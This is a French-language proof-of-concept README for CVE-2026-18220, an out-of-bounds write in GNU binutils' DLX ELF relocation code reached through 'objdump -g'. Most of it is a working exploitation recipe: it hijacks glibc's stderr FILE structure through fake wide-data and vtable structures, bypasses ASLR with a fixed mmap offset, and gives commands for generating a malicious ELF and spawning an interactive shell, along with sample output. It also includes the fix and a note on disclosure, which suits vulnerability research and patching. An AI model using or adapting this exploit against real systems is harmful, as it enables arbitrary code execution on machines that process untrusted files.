
Preuve de concept (PoC) démontrant la CVE-2026-18220, une vulnérabilité d'écriture hors limites (OOB) dans le backend DLX ELF de GNU binutils (déclenchée spécifiquement via `objdump -g`)
Cible : GNU Binutils (toutes les versions jusqu'à HEAD) — objdump
Environnement : Debian 13 (Trixie), glibc 2.41, x86_64
Impact : Exécution de code arbitraire
Vecteur : Fichier ELF spécialement conçu traité par objdump -g
ASLR : Contourné (delta mmap déterministe)
Un immense merci à bikini pour la mention et son fair-play concernant cette découverte. C'est un type super, j'ai eu le plaisir de discuter avec lui, et il a fait des découvertes géniales lui aussi. Allez voir son travail !
bfd/elf32-dlx.cLe gestionnaire de relocation R_DLX_RELOC_26_PCREL (elf32_dlx_relocate26) effectue une lecture/écriture de 4 octets à data + reloc_entry->address sans valider l'offset par rapport à la taille de la section. Comme la fonction retourne bfd_reloc_ok, la vérification générique des bornes dans bfd/reloc.c est entièrement contournée.
// bfd/elf32-dlx.c — elf32_dlx_relocate26()
insn = bfd_get_32(abfd, data + reloc_entry->address); // OOB read
vallo = insn & 0x03FFFFFF;
if (vallo & 0x03000000)
vallo = ~(vallo | 0xFC000000) + 1; // sign-extend 26 bits
val = (sym->section->vma + sym->value) - vallo;
insn = (insn & 0xFC000000) | (val & 0x03FFFFFF);
bfd_put_32(abfd, insn, data + reloc_entry->address); // OOB write
return bfd_reloc_ok; // skips bounds check
L'offset reloc_entry->address est lu directement depuis le fichier ELF et peut pointer arbitrairement au-delà du tampon de la section.
Sur x86_64, les offsets ELF32 sont étendus par zéros, limitant les écritures aux offsets positifs. Une section .debug_info ≥ 128 Ko force malloc() à utiliser mmap(), plaçant le tampon adjacent au segment de données de libc :
┌──────────────────────────────────────┐ ← same mmap region
│ .debug_info buffer (192 KB) │ data = 0x7f...d010
│ ├── fake _IO_wide_data (+0x1000) │
│ └── fake _IO_jump_t (+0x2000) │
│ ... │
│ _IO_2_1_stderr_ │ stderr = data + 0x21a4d0
│ _IO_wfile_jumps │ wfile = data + 0x218218
│ system() │ system() = data + 0x87100
└──────────────────────────────────────┘
Le delta stderr - data = 0x21A4D0 est constant entre les exécutions ASLR car les deux régions sont allouées par le même mmap lors du chargement de libc.
objdump writes to stderr ("Can't get contents for section...")
└─► _IO_wfile_overflow(stderr)
└─► _IO_wdoallocbuf(stderr)
└─► _IO_WDOALLOCATE(stderr)
= stderr->_wide_data->_wide_vtable->__doallocate(stderr)
= fake_vtable[0x68](https://github.com/4d4j/objdump-out-of-bounds-write/blob/HEAD/stderr)
= system(stderr)
= system("p;sh") ← stderr._flags[0:4] = "p;sh"
data + 0x1000 : fake _IO_wide_data
+0xE0 : _wide_vtable → data + 0x2000
data + 0x2000 : fake _IO_jump_t
+0x68 : __doallocate → system()
L'exploit prend en charge des commandes de 2 à 4 caractères. La relocation 0 écrit _flags[0:3] et la relocation 4 écrit _flags[3] + efface le padding, donnant à system() jusqu'à 4 caractères avant le terminateur nul naturel.
Seuls les deux premiers octets sont contraints par la disposition des drapeaux FILE de glibc :
cmd[2] et cmd[3] sont sans contrainte.
# Build binutils with DLX target support
cd binutils-gdb && mkdir build && cd build
../configure --target=dlx-elf --disable-nls --disable-werror
make -j$(nproc)
# Step 1: Generate the malicious ELF (choose your command)
python3 poc_generate.py --cmd "p;sh" -o exploit.bin
# Step 2: Run the exploit (ASLR on, standalone, no GDB)
python3 poc_ptrace.py --cmd "p;sh" # interactive shell
python3 poc_ptrace.py --cmd "p;id" # print uid/gid
python3 poc_ptrace.py # default: "ps"
L'exploit réessaie automatiquement jusqu'à 5 fois en cas d'inadéquation de l'octet 3 d'ASLR (~12 % par tentative), atteignant un taux de réussite de ~99,998 %.
[*] libc: /lib/x86_64-linux-gnu/libc.so.6
[*] cmd = 'p;sh' bytes = ['0x70', '0x3b', '0x73', '0x68']
[*] objdump_base = 0x005e61dfbf5000
[*] fn_addr = 0x005e61e06cad90 (elf32_dlx_relocate26)
[*] libc_base = 0x0075b1ed86c000
[*] stderr = 0x0075b1eda524e0
[*] system = 0x0075b1ed8bf110
[*] actual delta = 0x21a4d0 (expected 0x21a4d0)
[*] reloc0 sym->value <- 0x00f65c20 (cmd[0..2] = 'p;s')
[*] reloc4 sym->value <- 0x016d0000 (cmd[3] = 0x68)
...
[+] system() reached — command executing
$ id ← interactive shell
uid=1000(user) gid=1000(user) groups=1000(user)
[+] Done
Ajoutez une vérification des bornes dans elf32_dlx_relocate26() avant d'accéder aux données de la section :
if (reloc_entry->address + 4 > input_section->size)
return bfd_reloc_outofrange;
| Fichier | Description |
|---|---|
poc_generate.py | Génère le payload ELF DLX malveillant (exploit.bin) avec 5 relocations OOB |
Cette vulnérabilité a été signalée aux mainteneurs de GNU Binutils. Le code d'exploitation est fourni uniquement à des fins de recherche en sécurité autorisée.
https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=114e3aae2b7e34057c8909301eaf78c15687e8e5
| # | Cible (offset depuis data) | Effet |
|---|
| 0 | 0x21A4CF = stderr − 1 | _flags[0:3] = cmd[0..2] → début de l'argument de system() |
| 1 | 0x21A4F8 = stderr + 0x28 | _IO_write_ptr ≠ 0 → force le flush → overflow |
| 2 | 0x21A56F = stderr + 0x9F | _wide_data[0:3] → pointe vers la fausse _IO_wide_data |
| 3 | 0x21A5A7 = stderr + 0xD7 | vtable[0:3] → _IO_wfile_jumps |
| 4 | 0x21A4D2 = stderr + 2 | _flags[3] = cmd[3], padding effacé → terminateur nul |
| Bit | Drapeau | Contrainte | Raison |
|---|
| 1 | _IO_UNBUFFERED | cmd[0] & 0x02 == 0 | sinon _IO_wdoallocbuf saute __doallocate |
| 3 | _IO_NO_WRITES | cmd[0] & 0x08 == 0 | sinon overflow retourne immédiatement WEOF |
| 13 | _IO_IS_FILEBUF | cmd[1] & 0x20 != 0 | requis pour entrer dans le bloc doallocate |
| Commande | Octets | Effet |
|---|
"ps" | 70 73 | liste les processus |
"p;sh" | 70 3B 73 68 | lance un shell interactif ← le plus utile |
"p;ls" | 70 3B 6C 73 | liste le répertoire |
"p;id" | 70 3B 69 64 | affiche uid/gid |
poc_ptrace.py | Exploit autonome — contournement d'ASLR basé sur ptrace, boucle de relance, GDB non requis |
exploit.bin | Payload pré-généré (commande par défaut "p;sh") |